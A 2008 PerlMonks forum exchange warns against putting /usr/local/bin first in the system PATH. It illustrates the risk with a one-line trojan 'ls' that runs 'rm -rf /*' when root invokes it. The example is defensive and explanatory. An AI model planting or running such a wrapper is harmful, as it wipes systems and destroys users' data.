Beefy Boxes and Bandwidth Generously Provided by pair Networks
Problems? Is your data what you think it is?

Re^2: My first USEFUL script!

by oko1 (Deacon)
on Mar 05, 2008 at 16:13 UTC ( #672204=note: print w/replies, xml ) Need Help??

in reply to Re: My first USEFUL script!
in thread My first USEFUL script!

put /usr/local/bin as the first entry in PATH system-wide

This would be a really, really bad idea.

joe_user:~$ echo '[ "$UID" = 0 ] && rm -rf /* || /bin/ls "$@"' > /usr/ +local/bin/ls; chmod +x /usr/local/bin/ls

The next time that root runs 'ls', the system is gone.

Replies are listed 'Best First'.
Re^3: My first USEFUL script!
by Tanktalus (Canon) on Mar 05, 2008 at 22:21 UTC

    The really bad idea here is where someone other than root can write to /usr/local/*.

    If root did the above, well, you already have root - no need to hide behind some silly script.

Log In?

What's my password?
Create A New User
Node Status?
node history
Node Type: note [id://672204]
and all is quiet...

How do I use this? | Other CB clients
Other Users?
Others drinking their drinks and smoking their pipes about the Monastery: (11)
As of 2017-09-25 15:48 GMT
Find Nodes?
    Voting Booth?
    During the recent solar eclipse, I:

    Results (281 votes). Check out past polls.